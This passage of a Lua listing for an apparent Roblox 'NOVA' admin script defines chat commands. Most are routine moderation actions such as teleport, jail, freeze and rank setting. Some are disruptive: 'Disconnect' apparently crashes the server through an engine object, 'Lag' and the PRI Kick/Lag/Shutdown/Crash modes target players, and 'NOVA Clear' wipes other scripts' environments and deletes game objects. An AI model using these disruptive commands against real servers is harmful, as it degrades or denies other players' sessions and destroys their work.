2152 | Output("Guests Enabled : "..tostring(NOVA.GuestsEnabled) ,Data.Color,Speaker) | |
2153 | Output("Tablet Rotation : "..tostring(NOVA.TabletRotation) ,Data.Color,Speaker) | |
2154 | Output("Tablet Rotation Increase : "..tostring(NOVA.TabletRotationIncrease) ,Data.Color,Speaker) | |
2155 | Output("PRI Type : "..tostring(NOVA.PRIType) ,Data.Color,Speaker) | |
2156 | Output("Players : "..tostring(#GetPlayersRaw()),Data.Color,Speaker) | |
2157 | Output("Replicators : "..#GetReplicators(),Data.Color,Speaker) | |
2158 | Output("# Commands : "..#NOVA.Commands,Data.Color,Speaker) | |
2159 | OutputImg("http://www.roblox.com/asset/?id=45120559","Image tablets work.",Data.Color,Speaker) | |
2160 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
2161 | end | |
2162 | ) | |
2163 | ||
2164 | AddCommand("Debug","debug",1,"Debugs the server.","No Arguments", | |
2165 | function(Msg,Speaker) | |
2166 | pcall(function() | |
2167 | NOVA.Services.Sounds.Sound:Destroy() | |
2168 | end) | |
2169 | NOVA.Sounds.Sound = Instance.new("Sound") | |
2170 | NOVA.Sounds.Sound.Name = "NOVA Sound" | |
2171 | NOVA.Services.Lighting.Ambient = NOVA.Colors.White | |
2172 | NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black | |
2173 | NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black | |
2174 | NOVA.Services.Lighting.ShadowColor = Color3.new(0.69,0.69,0.69) | |
2175 | NOVA.Services.Lighting.Brightness = 0.5 | |
2176 | NOVA.Services.Lighting.FogStart = 0 | |
2177 | NOVA.Services.Lighting.FogEnd = 100000 | |
2178 | NOVA.Services.Lighting.FogColor = Color3.new(0.74,0.74,0.74) | |
2179 | NOVA.Services.Lighting.TimeOfDay = 12 | |
2180 | pcall(function() game.Lighting.Sky:Remove() end) | |
2181 | pcall(function() | |
2182 | CreateLocalScript([[ | |
2183 | LocalPlayer = game:GetService("Players").LocalPlayer | |
2184 | LocalPlayer.CameraMode = Enum.CameraMode.Classic | |
2185 | Camera = workspace.CurrentCamera | |
2186 | Camera:SetRoll(0) | |
2187 | Camera.CameraType = "Custom" | |
2188 | Camera.FieldOfView = 70 | |
2189 | Camera.CameraSubject = game.Players.LocalPlayer.Character.Humanoid | |
2190 | ]],Speaker.Backpack) | |
2191 | end) | |
2192 | for Num,v in pairs(NOVA.Jails) do | |
2193 | pcall(function() v.Jail:Destroy() end) | |
2194 | table.remove(NOVA.Jails,Num) | |
2195 | end | |
2196 | for Num,v in pairs(NOVA.Fences) do | |
2197 | pcall(function() v.Fence:Destroy() end) | |
2198 | table.remove(NOVA.Fences,Num) | |
2199 | end | |
2200 | for _,v in pairs(NOVA.Services) do | |
2201 | v.Name = v.className | |
2202 | end | |
2203 | for _,v in pairs(GetRecursiveChildren(workspace,"SelectionBox",3)) do | |
2204 | local ShouldRemove = true | |
2205 | for _,Tablet in pairs(NOVA.Tablets) do | |
2206 | if v:IsDescendantOf(Tablet) then | |
2207 | ShouldRemove = false | |
2208 | end | |
2209 | end | |
2210 | if ShouldRemove == true then | |
2211 | v:remove() | |
2212 | end | |
2213 | end | |
2214 | for _,v in pairs(GetRecursiveChildren(workspace)) do if v:IsA("Message") or v:IsA("Hint") then v:Destroy() end end | |
2215 | ||
2216 | for _,v in pairs(GetPlayersRaw()) do | |
2217 | pcall(function() | |
2218 | if v.StarterGear == nil then | |
2219 | Instance.new("StarterGear",v) | |
2220 | end | |
2221 | end) | |
2222 | pcall(function() | |
2223 | v.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..v.userId | |
2224 | end) | |
2225 | end | |
2226 | pcall(function() Speaker.Character.Torso.Velocity = Vector3.new(0,0,0) end) | |
2227 | if #NOVA.Services.Teams:GetChildren() == 0 then | |
2228 | for _,v in pairs(GetPlayersRaw()) do | |
2229 | v.Neutral = true | |
2230 | end | |
2231 | end | |
2232 | ||
2233 | end | |
2234 | ) | |
2235 | ||
2236 | AddCommand("Respawn","rs",2,"Respawns the selected player.","<Player>", | |
2237 | function(Msg,Speaker) | |
2238 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2239 | pcall(function() | |
2240 | v:LoadCharacter() | |
2241 | end) | |
2242 | end | |
2243 | end | |
2244 | ) | |
2245 | ||
2246 | AddCommand("Commands","cmds",0,"Lists the command.","No Arguments", | |
2247 | function(Msg,Speaker) | |
2248 | RemoveTablets(Speaker) | |
2249 | local Data = GetRankedTable(Speaker) | |
2250 | Output("Your current rank is "..GetRankName(Speaker).." ("..GetRank(Speaker)..")",Data.Color,Speaker) | |
2251 | Output("Click a tablet to see the commands for that rank.",Data.Color,Speaker) | |
2252 | Output("Get/ Commands",Data.Color,Speaker,nil, | |
2253 | function() | |
2254 | RemoveTablets(Speaker) | |
2255 | for _,v in pairs(NOVA.Commands) do | |
2256 | if v.Command:sub(1,3) == "get" then | |
2257 | Output(v.Name,Data.Color,Speaker,nil, | |
2258 | function() | |
2259 | RemoveTablets(Speaker) | |
2260 | Output("Name : "..v.Name,Data.Color,Speaker) | |
2261 | Output("Rank : "..v.Rank,Data.Color,Speaker) | |
2262 | Output("Command : "..v.Command,Data.Color,Speaker) | |
2263 | Output("Arguments : "..v.Args,Data.Color,Speaker) | |
2264 | Output("Description : "..v.Description,Data.Color,Speaker) | |
2265 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
2266 | end | |
2267 | ) | |
2268 | end | |
2269 | end | |
2270 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
2271 | Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker) end) | |
2272 | end | |
2273 | ) | |
2274 | for i=0,7 do | |
2275 | ||
2276 | Output("Rank "..i.." Commands",Data.Color,Speaker,nil,function() | |
2277 | RemoveTablets(Speaker) | |
2278 | for _,v in pairs(NOVA.Commands) do | |
2279 | if v.Rank == i then | |
2280 | Output(v.Name,Data.Color,Speaker,nil,function() | |
2281 | RemoveTablets(Speaker) | |
2282 | Output("Name : "..v.Name,Data.Color,Speaker) | |
2283 | Output("Rank : "..v.Rank,Data.Color,Speaker) | |
2284 | Output("Command : "..v.Command,Data.Color,Speaker) | |
2285 | Output("Arguments : "..v.Args,Data.Color,Speaker) | |
2286 | Output("Description : "..v.Description,Data.Color,Speaker) | |
2287 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
2288 | end) | |
2289 | end | |
2290 | end | |
2291 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
2292 | Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker) end) | |
2293 | end) | |
2294 | end | |
2295 | Output("ALL",Data.Color,Speaker,nil,function() | |
2296 | RemoveTablets(Speaker) | |
2297 | for _,v in pairs(NOVA.Commands) do | |
2298 | if GetRank(Speaker) >= v.Rank then | |
2299 | Output(v.Name,Data.Color,Speaker,nil,function() | |
2300 | RemoveTablets(Speaker) | |
2301 | Output("Name : "..v.Name,Data.Color,Speaker) | |
2302 | Output("Rank : "..v.Rank,Data.Color,Speaker) | |
2303 | Output("Command : "..v.Command,Data.Color,Speaker) | |
2304 | Output("Arguments : "..v.Args,Data.Color,Speaker) | |
2305 | Output("Description : "..v.Description,Data.Color,Speaker) | |
2306 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
2307 | end) | |
2308 | end | |
2309 | end | |
2310 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
2311 | Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker) end) | |
2312 | end) | |
2313 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
2314 | end | |
2315 | ) | |
2316 | ||
2317 | AddCommand("Disconnect","disconnect",6,"Disconnects the selected player.","No Arguments", | |
2318 | function(Msg,Speaker) | |
2319 | Instance.new("ManualSurfaceJointInstance",workspace) | |
2320 | end | |
2321 | ) | |
2322 | ||
2323 | AddCommand("Lag","lag",6,"lags the selected player.","<Player>", | |
2324 | function(Msg,Speaker) | |
2325 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2326 | if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then | |
2327 | Output("Attempt to lag the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10) | |
2328 | else | |
2329 | pcall(function() | |
2330 | Lag(v) | |
2331 | end) | |
2332 | end | |
2333 | end | |
2334 | end | |
2335 | ) | |
2336 | ||
2337 | ||
2338 | AddCommand("PRI","pri",6,"view the PRI settings.","No Arguments", | |
2339 | function(Msg,Speaker) | |
2340 | RemoveTablets(Speaker) | |
2341 | Output("List","Random",Speaker,nil, | |
2342 | function() | |
2343 | RemoveTablets(Speaker) | |
2344 | for _,v in pairs(NOVA.Ranked) do | |
2345 | if v.InPRI == true then | |
2346 | OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,v.Color,Speaker,nil,function() | |
2347 | RemoveTablets(Speaker) | |
2348 | OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker) | |
2349 | end) | |
2350 | end | |
2351 | end | |
2352 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
2353 | end | |
2354 | ) | |
2355 | Output("Type","Random",Speaker,nil, | |
2356 | function() | |
2357 | RemoveTablets(Speaker) | |
2358 | Output("Kick",NOVA.Colors.Orange,Speaker,nil, | |
2359 | function() | |
2360 | NOVA.PRIType = "Kick" | |
2361 | RemoveTablets(Speaker) | |
2362 | OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker) | |
2363 | end | |
2364 | ) | |
2365 | Output("Lag",NOVA.Colors.Red,Speaker,nil, | |
2366 | function() | |
2367 | NOVA.PRIType = "Lag" | |
2368 | RemoveTablets(Speaker) | |
2369 | OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker) | |
2370 | end | |
2371 | ) | |
2372 | Output("Shutdown",NOVA.Colors.Orange,Speaker,nil, | |
2373 | function() | |
2374 | NOVA.PRIType = "Shutdown" | |
2375 | RemoveTablets(Speaker) | |
2376 | OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker) | |
2377 | end | |
2378 | ) | |
2379 | Output("Crash",NOVA.Colors.Orange,Speaker,nil, | |
2380 | function() | |
2381 | NOVA.PRIType = "Crash" | |
2382 | RemoveTablets(Speaker) | |
2383 | OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker) | |
2384 | end | |
2385 | ) | |
2386 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
2387 | end | |
2388 | ) | |
2389 | Output("Turn PRI On",NOVA.Colors.Red,Speaker,nil, | |
2390 | function() | |
2391 | NOVA.PRI = true | |
2392 | RemoveTablets(Speaker) | |
2393 | OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker) | |
2394 | end | |
2395 | ) | |
2396 | Output("Turn PRI Off",NOVA.Colors.Green,Speaker,nil, | |
2397 | function() | |
2398 | NOVA.PRI = false | |
2399 | RemoveTablets(Speaker) | |
2400 | OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker) | |
2401 | end | |
2402 | ) | |
2403 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
2404 | end | |
2405 | ) | |
2406 | ||
2407 | --[[ GET COMMANDS ]]-- | |
2408 | ||
2409 | AddCommand("Get Ranked","getranked",0,"Displays all the current players ranks.","No Arguments", | |
2410 | function(Msg,Speaker) | |
2411 | if #Msg == 0 or Msg == nil then | |
2412 | RemoveTablets(Speaker) | |
2413 | for _,v in pairs(NOVA.Ranks) do | |
2414 | local RankNumber = v[1] | |
2415 | local RankName = v[2] | |
2416 | Output(RankName.." ("..(RankNumber)..")",Color3.new((RankNumber)/10,(RankNumber)/10,(RankNumber)/10),Speaker,nil, | |
2417 | function() | |
2418 | RemoveTablets(Speaker) | |
2419 | for _,v in pairs(GetPlayersRaw()) do | |
2420 | if GetRank(v) == RankNumber then | |
2421 | OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,GetRankedTable(v).Color,Speaker,nil, | |
2422 | function() | |
2423 | PlayerInterface(v,Speaker) | |
2424 | end | |
2425 | ) | |
2426 | end | |
2427 | end | |
2428 | Output("Done",NOVA.Colors.Blue,Speaker,nil, | |
2429 | function() | |
2430 | OnChatted(NOVA.Bet .. "getranked" .. NOVA.Bet,Speaker) | |
2431 | end | |
2432 | ) | |
2433 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
2434 | end | |
2435 | ) | |
2436 | end | |
2437 | Output("ALL",NOVA.Colors.Blue,Speaker,nil, | |
2438 | function() | |
2439 | RemoveTablets(Speaker) | |
2440 | for _,v in pairs(GetPlayersRaw()) do | |
2441 | OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,GetRankedTable(v).Color,Speaker,nil, | |
2442 | function() | |
2443 | PlayerInterface(v,Speaker) | |
2444 | end | |
2445 | ) | |
2446 | end | |
2447 | ||
2448 | Output("Done",NOVA.Colors.Blue,Speaker,nil, | |
2449 | function() | |
2450 | OnChatted(NOVA.Bet .. "getranked" .. NOVA.Bet,Speaker) | |
2451 | end | |
2452 | ) | |
2453 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
2454 | end | |
2455 | ) | |
2456 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
2457 | else | |
2458 | PlayerInterface(GetPlayers(Msg,Speaker)[1],Speaker) | |
2459 | end | |
2460 | end | |
2461 | ) | |
2462 | ||
2463 | AddCommand("Set Description","setdesc",6,"Sets the selected player's description.","<Player><Description>", | |
2464 | function(Msg,Speaker) | |
2465 | Split = GetSplit(Msg) | |
2466 | for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do | |
2467 | GetRankedTable(v).Desc = Msg:sub(Split+1) | |
2468 | SyncRankOutSingular(v) | |
2469 | end | |
2470 | end | |
2471 | ) | |
2472 | ||
2473 | AddCommand("Get CMD","getcmd",0,"Toggles the CMD bar on your screen.","<BoolValue>", | |
2474 | function(Msg,Speaker) | |
2475 | if Msg == "true" then | |
2476 | GetRankedTable(Speaker).CMD = true | |
2477 | elseif Msg == "false" then | |
2478 | GetRankedTable(Speaker).CMD = false | |
2479 | pcall(function() Speaker.PlayerGui:FindFirstChild("NOVACMD"):Remove() end) | |
2480 | else Output("Please choose a proper bool value. ( true / false )",NOVA.Colors.Orange,Speaker,5) | |
2481 | end | |
2482 | SyncRankOutSingular(Speaker) | |
2483 | end | |
2484 | ) | |
2485 | ||
2486 | AddCommand("Get Build Tools","getbtools",1,"Gives the speaker building tools.","No Arguments", | |
2487 | function(Msg,Speaker) | |
2488 | pcall(function() | |
2489 | for i=1,4 do | |
2490 | Instance.new("HopperBin",Speaker.Backpack).BinType = i | |
2491 | end | |
2492 | end) | |
2493 | end | |
2494 | ) | |
2495 | ||
2496 | AddCommand("Get Reset","getreset",0,"Resets the speaker's character.","No Arguments", | |
2497 | function(Msg,Speaker) | |
2498 | pcall(function() | |
2499 | Speaker:LoadCharacter() | |
2500 | end) | |
2501 | end | |
2502 | ) | |
2503 | ||
2504 | AddCommand("Get Fixed Character Appearance","get/fixchar",0,"Fixes the Speaker's character appearance.","No Arguments", | |
2505 | function(Msg,Speaker) | |
2506 | Speaker.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Speaker.userId | |
2507 | end | |
2508 | ) | |
2509 | ||
2510 | AddCommand("Give Build Tools","givebtools",1,"Gives the selected player building tools.","<Player>", | |
2511 | function(Msg,Speaker) | |
2512 | pcall(function() | |
2513 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2514 | for i=1,4 do | |
2515 | Instance.new("HopperBin",Speaker.Backpack).BinType = i | |
2516 | end | |
2517 | end | |
2518 | end) | |
2519 | end | |
2520 | ) | |
2521 | ||
2522 | AddCommand("Set Rank","setrank",0,"Allows you to change the rank of others.","<Player><Rank>", | |
2523 | function(Msg,Speaker) | |
2524 | local Split = GetSplit(Msg) | |
2525 | for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do | |
2526 | if GetRank(Speaker) > GetRank(v) then | |
2527 | if tonumber(Msg:sub(Split+1)) > GetRank(Speaker) then | |
2528 | Output("You cannot set a rank that high.",NOVA.Colors.Orange,Speaker,5) | |
2529 | else | |
2530 | GetRankedTable(v).Rank = tonumber(Msg:sub(Split+1)) | |
2531 | SyncRankOutSingular(v) | |
2532 | end | |
2533 | end | |
2534 | end | |
2535 | end | |
2536 | ) | |
2537 | ||
2538 | AddCommand("Teleport","tp",2,"Teleports one player to another.","<Player><Player>", | |
2539 | function(Msg,Speaker) | |
2540 | ||
2541 | Split = GetSplit(Msg) | |
2542 | send = GetPlayers(string.sub(Msg,1,Split - 1),Speaker) | |
2543 | to = GetPlayers(string.sub(Msg,Split+1),Speaker) | |
2544 | for _,a in pairs(send) do | |
2545 | for _,b in pairs(to) do | |
2546 | pcall(function() | |
2547 | a.Character.Torso.CFrame = b.Character.Torso.CFrame | |
2548 | end) | |
2549 | end | |
2550 | end | |
2551 | end | |
2552 | ) | |
2553 | ||
2554 | AddCommand("Circle Teleport","ctp",2,"Teleports one player to another.","<Player><Player>", | |
2555 | function(Msg,Speaker) | |
2556 | ||
2557 | Split = GetSplit(Msg) | |
2558 | send = GetPlayers(string.sub(Msg,1,Split - 1),Speaker) | |
2559 | to = GetPlayers(string.sub(Msg,Split+1),Speaker)[1] | |
2560 | for i, player in pairs(send) do | |
2561 | pcall(function() | |
2562 | player.Character.Torso.CFrame = CFrame.new(to.Character.Torso.Position) | |
2563 | * CFrame.Angles(0, math.rad(i * 360 / #send), 0) | |
2564 | * CFrame.new(0, 0, 3 + (#send*2) ) | |
2565 | end) | |
2566 | end | |
2567 | end | |
2568 | ) | |
2569 | ||
2570 | AddCommand("Walkspeed","ws",2,"Sets the selected player walkspeed to the following number.","<Player><Number>", | |
2571 | function(Msg,Speaker) | |
2572 | Split = GetSplit(Msg) | |
2573 | for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do | |
2574 | pcall(function() v.Character.Humanoid.WalkSpeed = tonumber(Msg:sub(Split+1)) end) | |
2575 | end | |
2576 | end | |
2577 | ) | |
2578 | ||
2579 | AddCommand("Explode","expl",2,"Explodes the selected player.","<Player>", | |
2580 | function(Msg,Speaker) | |
2581 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2582 | pcall(function() | |
2583 | v.Character:BreakJoints() | |
2584 | E = Instance.new("Explosion",NOVA.Services.Workspace) | |
2585 | E.Position = v.Character.Torso.Position | |
2586 | E.BlastPressure = 124000 | |
2587 | end) | |
2588 | end | |
2589 | end | |
2590 | ) | |
2591 | ||
2592 | AddCommand("Infinite Health","inf",2,"Sets the selected player health to math.huge.","<Player>", | |
2593 | function(Msg,Speaker) | |
2594 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2595 | pcall(function() | |
2596 | v.Character.Humanoid.MaxHealth = math.huge | |
2597 | end) | |
2598 | end | |
2599 | end | |
2600 | ) | |
2601 | ||
2602 | AddCommand("God","god",2,"makes the selected player god.","<Player>", | |
2603 | function(Msg,Speaker) | |
2604 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2605 | pcall(function() | |
2606 | v.Character.Torso.Touched:connect(function(part) | |
2607 | if not part:IsDescendantOf(v.Character) and not part.Anchored == true and part ~= Crown then | |
2608 | part.CanCollide = true | |
2609 | part:BreakJoints() | |
2610 | for i=1,3 do Instance.new("Fire",part).Color = Color3.new(255,255,255) end | |
2611 | end | |
2612 | end) | |
2613 | end) | |
2614 | end | |
2615 | end | |
2616 | ) | |
2617 | ||
2618 | AddCommand("Punish","punish",2,"Reparents the selected player's character parent lighting.","<Player>", | |
2619 | function(Msg,Speaker) | |
2620 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2621 | pcall(function() | |
2622 | v.Character.Parent = NOVA.Services.Lighting | |
2623 | end) | |
2624 | end | |
2625 | end | |
2626 | ) | |
2627 | ||
2628 | AddCommand("Un Punish","unpunish",2,"Reparents the selected player's character parent workspace.","<Player>", | |
2629 | function(Msg,Speaker) | |
2630 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2631 | pcall(function() | |
2632 | v.Character.Parent = NOVA.Services.Workspace | |
2633 | v.Character:MakeJoints() | |
2634 | pcall(function() v.Character.Animate.Disabled = false end) | |
2635 | end) | |
2636 | end | |
2637 | end | |
2638 | ) | |
2639 | ||
2640 | AddCommand("Freeze","freeze",2,"Anchor the selected player('s/s') character('s).","<Player>", | |
2641 | function(Msg,Speaker) | |
2642 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2643 | pcall(function() | |
2644 | for _,part in pairs(v.Character:GetChildren()) do | |
2645 | pcall(function() | |
2646 | part.Anchored = true | |
2647 | end) | |
2648 | end | |
2649 | end) | |
2650 | end | |
2651 | end | |
2652 | ) | |
2653 | ||
2654 | AddCommand("Thaw","thaw",2,"Un anchor the selected player('s/s') character('s).","<Player>", | |
2655 | function(Msg,Speaker) | |
2656 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2657 | pcall(function() | |
2658 | for _,part in pairs(v.Character:GetChildren()) do | |
2659 | pcall(function() | |
2660 | part.Anchored = false | |
2661 | end) | |
2662 | end | |
2663 | end) | |
2664 | end | |
2665 | end | |
2666 | ) | |
2667 | ||
2668 | AddCommand("Remove Tools","rtools",2,"Removes the selected player tools.","<Player>", | |
2669 | function(Msg,Speaker) | |
2670 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2671 | pcall(function() | |
2672 | for _,part in pairs(v.Backpack:GetChildren()) do | |
2673 | part:Destroy() | |
2674 | end | |
2675 | end) | |
2676 | end | |
2677 | end | |
2678 | ) | |
2679 | ||
2680 | AddCommand("Remove Backpack","rbp",2,"Removes the selected player backpack.","<Player>", | |
2681 | function(Msg,Speaker) | |
2682 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2683 | pcall(function() | |
2684 | v.Backpack:Destroy() | |
2685 | end) | |
2686 | end | |
2687 | end | |
2688 | ) | |
2689 | ||
2690 | AddCommand("Sit","sit",2,"Makes the selected player sit down.","<Player>", | |
2691 | function(Msg,Speaker) | |
2692 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2693 | pcall(function() GetRecursiveChildren(v.Character,"Humanoid",3)[1].Name = "Humanoid" end) | |
2694 | pcall(function() v.Character.Humanoid.Sit = true end) | |
2695 | end | |
2696 | end | |
2697 | ) | |
2698 | ||
2699 | AddCommand("Stand","stand",2,"Makes the selected player stand up.","<Player>", | |
2700 | function(Msg,Speaker) | |
2701 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2702 | pcall(function() GetRecursiveChildren(v.Character,"Humanoid",3)[1].Name = "Humanoid" end) | |
2703 | pcall(function() v.Character.Humanoid.Sit = false end) | |
2704 | end | |
2705 | end | |
2706 | ) | |
2707 | ||
2708 | AddCommand("Jump","jump",2,"Makes the selected player jump.","<Player>", | |
2709 | function(Msg,Speaker) | |
2710 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2711 | pcall(function() GetRecursiveChildren(v.Character,"Humanoid",3)[1].Name = "Humanoid" end) | |
2712 | pcall(function() v.Character.Humanoid.Jump = true end) | |
2713 | end | |
2714 | end | |
2715 | ) | |
2716 | ||
2717 | AddCommand("Control","control",2,"Controls the selected player","<Player>", | |
2718 | function(Msg,Speaker) | |
2719 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2720 | pcall(function() | |
2721 | Speaker.Character = v.Character | |
2722 | end) | |
2723 | end | |
2724 | end | |
2725 | ) | |
2726 | ||
2727 | AddCommand("Transparent","trans",2,"Makes the selected player transparent","<Player>", | |
2728 | function(Msg,Speaker) | |
2729 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2730 | pcall(function() | |
2731 | for _,v in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do | |
2732 | coroutine.resume(coroutine.create(function() | |
2733 | for i=1,10 do | |
2734 | wait() | |
2735 | v.Transparency = v.Transparency + 0.1 | |
2736 | end | |
2737 | end)) | |
2738 | end | |
2739 | end) | |
2740 | end | |
2741 | end | |
2742 | ) | |
2743 | ||
2744 | AddCommand("Visible","visible",2,"Makes the selected player visible.","<Player>", | |
2745 | function(Msg,Speaker) | |
2746 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2747 | pcall(function() | |
2748 | for _,v in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do | |
2749 | coroutine.resume(coroutine.create(function() | |
2750 | for i=1,10 do | |
2751 | wait() | |
2752 | v.Transparency = v.Transparency - 0.1 | |
2753 | end | |
2754 | end)) | |
2755 | end | |
2756 | end) | |
2757 | end | |
2758 | end | |
2759 | ) | |
2760 | ||
2761 | AddCommand("Remove Hats","rhats",2,"Remove the hat of the selected player.","<Player>", | |
2762 | function(Msg,Speaker) | |
2763 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2764 | pcall(function() | |
2765 | for _,part in pairs(v.Character:GetChildren()) do if part:IsA("Hat") then part:Remove() end end | |
2766 | end) | |
2767 | end | |
2768 | end | |
2769 | ) | |
2770 | ||
2771 | AddCommand("Remove Humanoid","rhum",2,"Remove the humanoid of the selected player.","<Player>", | |
2772 | function(Msg,Speaker) | |
2773 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2774 | pcall(function() | |
2775 | for _,part in pairs(v.Character:GetChildren()) do if part:IsA("Humanoid") then part:Remove() end end | |
2776 | end) | |
2777 | end | |
2778 | end | |
2779 | ) | |
2780 | ||
2781 | AddCommand("Jail","jail",2,"Puts the selected player in jail.","<Player>", | |
2782 | function(Msg,Speaker) | |
2783 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2784 | pcall(function() | |
2785 | coroutine.resume(coroutine.create(function() | |
2786 | local MainCF = v.Character.Torso.CFrame | |
2787 | local Main = Instance.new("Model",workspace) | |
2788 | Main.Name = "Main" | |
2789 | table.insert(NOVA.Jails,{Jail = Main, Player = v,Speaker = Speaker}) | |
2790 | for Pitch = 1, 360, 360 do | |
2791 | for Yaw = 1, 360, 360/13 do | |
2792 | for Angle = 1,180, 8 do | |
2793 | local Part = Instance.new("Part",Main) | |
2794 | Part.Name = "Part" | |
2795 | Part.FormFactor = "Custom" | |
2796 | Part.TopSurface = "Smooth" | |
2797 | Part.BottomSurface = "Smooth" | |
2798 | Part.Reflectance = 0 | |
2799 | Part.Transparency = 0 | |
2800 | Part.Anchored = true | |
2801 | Part.Locked = true | |
2802 | Part.CanCollide = true | |
2803 | Part.BrickColor = BrickColor.new("Navy blue") | |
2804 | Part.Size = Vector3.new(2,1,4) | |
2805 | Part.CFrame = MainCF | |
2806 | * CFrame.Angles(math.rad(Pitch),math.rad(Yaw),math.rad(Angle)) | |
2807 | * CFrame.new(0,5,0) | |
2808 | local Mesh = Instance.new("BlockMesh",Part) | |
2809 | Mesh.Scale = Vector3.new(1,1,0.1) | |
2810 | if math.floor(Angle/5) == Angle/5 then | |
2811 | wait() | |
2812 | end | |
2813 | end | |
2814 | end | |
2815 | end | |
2816 | v.Character.Torso.CFrame = MainCF | |
2817 | while Main.Parent ~= nil do | |
2818 | wait() | |
2819 | pcall(function() | |
2820 | if (v.Character.Torso.CFrame.p - MainCF.p).magnitude > 6 then | |
2821 | v.Character.Torso.CFrame = MainCF | |
2822 | end | |
2823 | end) | |
2824 | end | |
2825 | end)) | |
2826 | end) | |
2827 | end | |
2828 | end | |
2829 | ) | |
2830 | ||
2831 | AddCommand("Un Jail","unjail",2,"Un jails the selected player.","<Player>", | |
2832 | function(Msg,Speaker) | |
2833 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2834 | for Num,Jail in pairs(NOVA.Jails) do | |
2835 | if Jail.Player ~= nil and Jail.Player == v then | |
2836 | pcall(function() Jail.Jail:Destroy() end) | |
2837 | table.remove(NOVA.Jails,Num) | |
2838 | end | |
2839 | end | |
2840 | end | |
2841 | end | |
2842 | ) | |
2843 | ||
2844 | AddCommand("NOVA Clear","NOVA",6,"Clears the game.","No Arguments", | |
2845 | function(Msg,Speaker) | |
2846 | for i,v in pairs(_G) do | |
2847 | if type(v) == "function" and getfenv(v).NOVA == nil then | |
2848 | for var,val in pairs(getfenv(v)) do | |
2849 | pcall(function() getfenv(v)[var] = nil end) | |
2850 | end | |
2851 | end | |
2852 | end | |
2853 | for i,v in pairs(_G) do | |
2854 | _G[i] = nil | |
2855 | end | |
2856 | SetGlobals() | |
2857 | for _,v in pairs(NOVA.Services) do | |
2858 | v.Name = "Unknown Exception" | |
2859 | end | |
2860 | for i,v in pairs(GetRecursiveChildren()) do | |
2861 | pcall(function() | |
2862 | if not v:IsA("Player") then | |
2863 | pcall(function() | |
2864 | if Prometheus ~= nil and v == Prometheus.script("lushmylife") then | |
2865 | else | |
2866 | pcall(function() | |
2867 | v.Disabled = true | |
2868 | end) | |
2869 | pcall(function() | |
2870 | NOVA.Services.Debris:AddItem(v,0) | |
2871 | end) | |
2872 | end | |
2873 | end) | |
2874 | end | |
2875 | end) | |
2876 | end | |
2877 | for _,v in pairs(NOVA.Services) do | |
2878 | v.Name = v.className | |
2879 | end | |
2880 | local Base=Instance.new("Part",NOVA.Services.Workspace) | |
2881 | Base.Name="Base" | |
2882 | Base.Size=Vector3.new(2048,1,2048) | |
